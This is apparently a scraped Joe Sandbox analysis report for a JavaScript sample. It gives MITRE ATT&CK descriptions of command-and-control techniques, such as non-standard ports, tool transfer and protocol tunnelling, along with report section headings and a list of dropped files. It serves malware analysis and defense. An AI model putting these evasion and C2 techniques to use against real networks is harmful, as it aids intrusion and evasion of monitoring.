Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 146362284148625748.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\caa2e9ba-7cc7-40bf-9bb8-03a02880bc52.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7948

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
146362284148625748.js